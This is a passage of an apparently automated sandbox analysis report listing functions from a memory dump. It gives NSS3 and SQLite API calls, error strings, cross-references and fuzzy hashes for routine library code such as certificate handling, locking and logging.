Strings

Aborting, xrefs: 6C730EB3
Assertion failure: %s, at %s:%d, xrefs: 6C730ED9, 6C730EE5, 6C730F06, 6C730F0B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: a83c0a44072867e21ffa50be8123f45fc6335d5b024527ed666fa8fd870baa95
Instruction ID: 11d3db6a1e998f167e5b61300dcbbd3d6a1100792fbdc1f13f436da6eb0fa936
Opcode Fuzzy Hash: a83c0a44072867e21ffa50be8123f45fc6335d5b024527ed666fa8fd870baa95
Instruction Fuzzy Hash: BE01C0B6900128ABDF01AF64DE4989B3F3DEF46368B004075FD0987B12D631E91087E2

Function 6C711C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=al,?,?,6C614E1D), ref: 6C711C8A
sqlite3_free.NSS3(00000000), ref: 6C711CB6

Strings

an index, xrefs: 6C711C67
a generated column, xrefs: 6C711C6C
a CHECK constraint, xrefs: 6C711C76, 6C711C81
w=al, xrefs: 6C711C44
non-deterministic use of %s() in %s, xrefs: 6C711C85

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=al
API String ID: 1840970956-2538564091
Opcode ID: 911a054c29dfeb4adf4fbb3c684b5e98b486870cfc1343b195428c40cba5dea8
Instruction ID: 907e8cfbbc4660655b70a1ebca924529beaaf3d78dbe201b660b11b892566211
Opcode Fuzzy Hash: 911a054c29dfeb4adf4fbb3c684b5e98b486870cfc1343b195428c40cba5dea8
Instruction Fuzzy Hash: 3D0124B1A001005BD700BE68D90297273E5EFC638CB55487DEC489BB02EE22EC67C755

Function 6C6F4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F4DE0

Strings

API call with %s database connection pointer, xrefs: 6C6F4DBD
%s at line %d of [%.10s], xrefs: 6C6F4DDA
invalid, xrefs: 6C6F4DB8
misuse, xrefs: 6C6F4DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F4DCB

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 04740f80e7b4c1f8201d138ea66ea7fca633c9eb36a951b886cb0bb3c00cbf88
Instruction ID: 25aeabc8a4b8ebb6030d21e45147a00179dda7edac5796d6d1cf45a9ddcd5a42
Opcode Fuzzy Hash: 04740f80e7b4c1f8201d138ea66ea7fca633c9eb36a951b886cb0bb3c00cbf88
Instruction Fuzzy Hash: DBF05921E157286BE7004015CF21FE233DA4F01329F8709B0ED247BE53DA46BDA182E8

Function 6C6F4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6F4E4D

Strings

API call with %s database connection pointer, xrefs: 6C6F4E2A
%s at line %d of [%.10s], xrefs: 6C6F4E47
invalid, xrefs: 6C6F4E25
misuse, xrefs: 6C6F4E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6F4E38

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 5074e56fad6915a74fd4f2f06f5fd6c9d0f5c6d652fb9661518f6dd824eace53
Instruction ID: 630b6a8f0424df66b846e5a4210607ad2a4616c7526a85d9377b68d7da81a8d3
Opcode Fuzzy Hash: 5074e56fad6915a74fd4f2f06f5fd6c9d0f5c6d652fb9661518f6dd824eace53
Instruction Fuzzy Hash: A0F09E20F456182BE70002259F11FE3338B4741329F8A44B0EE2437E82CA49AE7302D9

Function 6C629FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C62A086
EnterCriticalSection.KERNEL32(?), ref: 6C62A09B
PR_Unlock.NSS3(?), ref: 6C62A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62A0E9
TlsGetValue.KERNEL32 ref: 6C62A11B
EnterCriticalSection.KERNEL32(?), ref: 6C62A12F
PR_Unlock.NSS3(?), ref: 6C62A148

Part of subcall function 6C641A40: PR_Now.NSS3(?,00000000,6C6228AD,00000000,?,6C63F09A,00000000,6C6228AD,6C6293B0,?,6C6293B0,6C6228AD,00000000,?,00000000), ref: 6C641A65

Part of subcall function 6C641940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C644126,?), ref: 6C641966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C62A1A3

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: 81339cf4987344df38da84ca72e7f2314d6d86ab2c40db0f62e7ee955309c318
Instruction ID: 61c02a3bf95f9c514cf281205c7aefc48e00a12907292840f6ed64dd993db7c2
Opcode Fuzzy Hash: 81339cf4987344df38da84ca72e7f2314d6d86ab2c40db0f62e7ee955309c318
Instruction Fuzzy Hash: D0512AB1E002059BEB109F29CC44AABB7B9EF8735CB144039DC19D7702EF75D845CAA9

Function 6C660C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?,?,00000000,?,?), ref: 6C660CB3

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?), ref: 6C660DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?), ref: 6C660DEC

Part of subcall function 6C680F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C622AF5,?,?,?,?,?,6C620A1B,00000000), ref: 6C680F1A
Part of subcall function 6C680F10: malloc.MOZGLUE(00000001), ref: 6C680F30
Part of subcall function 6C680F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C680F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C661444,?,00000001,?,00000000), ref: 6C660E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?,?,6C661444,?,?,00000000), ref: 6C660E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C661444,?,00000001,?,00000000,00000000,?), ref: 6C660E79

Part of subcall function 6C671560: TlsGetValue.KERNEL32(00000000,?,6C640844,?), ref: 6C67157A
Part of subcall function 6C671560: EnterCriticalSection.KERNEL32(?,?,?,6C640844,?), ref: 6C67158F
Part of subcall function 6C671560: PR_Unlock.NSS3(?,?,?,?,6C640844,?), ref: 6C6715B2

Part of subcall function 6C63B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C641397,00000000,?,6C63CF93,5B5F5EC0,00000000,?,6C641397,?), ref: 6C63B1CB
Part of subcall function 6C63B1A0: free.MOZGLUE(5B5F5EC0,?,6C63CF93,5B5F5EC0,00000000,?,6C641397,?), ref: 6C63B1D2

Part of subcall function 6C6389E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6388AE,-00000008), ref: 6C638A04
Part of subcall function 6C6389E0: EnterCriticalSection.KERNEL32(?), ref: 6C638A15
Part of subcall function 6C6389E0: memset.VCRUNTIME140(6C6388AE,00000000,00000132), ref: 6C638A27
Part of subcall function 6C6389E0: PR_Unlock.NSS3(?), ref: 6C638A35

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 239105613357e90a6548ccbf9cbb450f130c0e8582db1b0212c6e6780e1ec228
Instruction ID: 39b7196ebf84d0f931294fb287f8cba17484f4526377c9ec8d8790d0a7a74f90
Opcode Fuzzy Hash: 239105613357e90a6548ccbf9cbb450f130c0e8582db1b0212c6e6780e1ec228
Instruction Fuzzy Hash: 7B5194B6E002106FEB019F65DC81AAB37A8AF46318F154534ED0997B12F731ED1986AF

Function 6C616E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C616ED8
sqlite3_value_text.NSS3(?,?), ref: 6C616EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C616FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C616FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C616FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C617010
sqlite3_value_blob.NSS3(?,?), ref: 6C61701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C617052

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 5dd4fcd263a0f4ccf8331ffbff238ef4d10226e3cfea0ed7514728ca17bf3ed3
Instruction ID: a95318b8f6774e5796a6997aa557d7f95aa8ce676bec8141d78a1cc6e5d92d85
Opcode Fuzzy Hash: 5dd4fcd263a0f4ccf8331ffbff238ef4d10226e3cfea0ed7514728ca17bf3ed3
Instruction Fuzzy Hash: 9161AFB5E192098FDB00CF69C8407EEB7B2EF8530AF284165D815ABB51E731DC15CB99

Function 6C688F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C687313), ref: 6C688FBB

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C687313), ref: 6C689012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C687313), ref: 6C68903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C68909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C6890DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C6890F1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C687313), ref: 6C68906B

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C687313), ref: 6C689128

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 5a82c090b3c35340ac15e50990554db0e619f223c76ba1305897fd3d4d90621a
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 1051C071A062019FEB10CF6ADC84B26B3F9AF4531CF154029E955D7B61EB32E800CBB9

Function 6C639C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C638850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C640715), ref: 6C638859
Part of subcall function 6C638850: PR_NewLock.NSS3 ref: 6C638874
Part of subcall function 6C638850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C63888D

PR_NewLock.NSS3 ref: 6C639CAD

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

TlsGetValue.KERNEL32 ref: 6C639CE8
EnterCriticalSection.KERNEL32(?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D01
TlsGetValue.KERNEL32(?,?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D38
EnterCriticalSection.KERNEL32(?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D4D
PR_Unlock.NSS3 ref: 6C639D70
PR_Unlock.NSS3 ref: 6C639DC3
PR_NewLock.NSS3 ref: 6C639DDD

Part of subcall function 6C6388D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C640725,00000000,00000058), ref: 6C638906
Part of subcall function 6C6388D0: EnterCriticalSection.KERNEL32(?), ref: 6C63891A
Part of subcall function 6C6388D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C63894A
Part of subcall function 6C6388D0: calloc.MOZGLUE(00000001,6C64072D,00000000,00000000,00000000,?,6C640725,00000000,00000058), ref: 6C638959
Part of subcall function 6C6388D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C638993
Part of subcall function 6C6388D0: PR_Unlock.NSS3(?), ref: 6C6389AF

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: b95613fdc48bafb38a02e802d8e5998f48e4f14a2b0eaa0d15401923a595d111
Instruction ID: c65fe7741c4a3e4ae5325551fd6c284cf63cf2c80ef5206e5ddb96c0a24a5be9
Opcode Fuzzy Hash: b95613fdc48bafb38a02e802d8e5998f48e4f14a2b0eaa0d15401923a595d111
Instruction Fuzzy Hash: 015193B0A05B158FDB01EF68C08569ABBF0BF45349F15A569D89CDB710DB30E844CF99

Function 6C739EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C739EC0
EnterCriticalSection.KERNEL32(?), ref: 6C739EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C739F73
EnterCriticalSection.KERNEL32(?), ref: 6C739FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C739FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C739FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C73A01D

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 8aa63f35b51a9e8152b4419344d12e3258e3ac044d4b545212a480590a703d9d
Instruction ID: 024838c9a732b782321a745fe03b54c8afae15e1d8f3aeb7cf05d9dac91b3528
Opcode Fuzzy Hash: 8aa63f35b51a9e8152b4419344d12e3258e3ac044d4b545212a480590a703d9d
Instruction Fuzzy Hash: 8E51F0B2804211CBCB109F21D88468AB7F4FF19319F25866AD85D57B23EB31E884CBD5

Function 6C62DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C62DCFA

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C62DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C62DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C62DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C62DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C62DD8F

Part of subcall function 6C6406A0: TlsGetValue.KERNEL32 ref: 6C6406C2
Part of subcall function 6C6406A0: EnterCriticalSection.KERNEL32(?), ref: 6C6406D6
Part of subcall function 6C6406A0: PR_Unlock.NSS3 ref: 6C6406EB

CERT_DestroyCertificate.NSS3(?), ref: 6C62DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C62DDB7

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 59a93d409369cb4b3b1e19fb1f968f93cbd3c8b5936da8313e44263838079b31
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 4D2180B6E019255BDB019E94DC40ADE77B4EF05318B144824E814A7705E729E915CFE9

Function 6C6B5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5F72

Part of subcall function 6C61ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C61ED8F
